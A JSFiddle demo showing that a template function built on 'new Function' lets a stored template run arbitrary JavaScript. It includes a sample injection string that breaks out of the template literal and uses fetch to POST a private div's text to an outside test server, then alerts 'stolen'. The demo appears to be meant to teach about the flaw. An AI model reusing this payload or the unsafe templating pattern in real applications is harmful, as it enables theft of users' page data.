JSFiddle - React, Tailwind, and code Playground

by Lamik

HTML

<div id='mydiv'>
My private content
</div>


<button class="btn" onclick="parseString()">Click me! :)</button>

<div id="msg"></div>

CSS

#mydiv { background: red; margin: 20px}

.btn { margin: 20px; padding: 20px; }

JavaScript

// case: system allow to users to use 'templates' and use
// below code to put variables into thae templates
// save templates in DB and show it to other users...
// Some bad user/hacker can then prepare malicious template 
// with JS code... (hosting variable belo)

// Source: https://github.com/mikemaccana/dynamic-template/blob/master/index.js

function makeTemplate(templateString, templateVariables) {
	const keys = Object.keys(templateVariables);
	const values = Object.values(templateVariables);
	let templateFunction = new Function(...keys, `return \`${templateString}\`;`);
	return templateFunction(...values);
}


function parseString() {
// Sample
  var hosting = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";
  var domain = {Id:1234, User:22};
  var result = makeTemplate(hosting, domain);

console.log(result);

msg.innerHTML+=`Look on Chrome console> networks and look for <b>POST server?id...</b> request with stolen data (look on "request payload" a t the bottom)`;

}

window.parseString=parseString;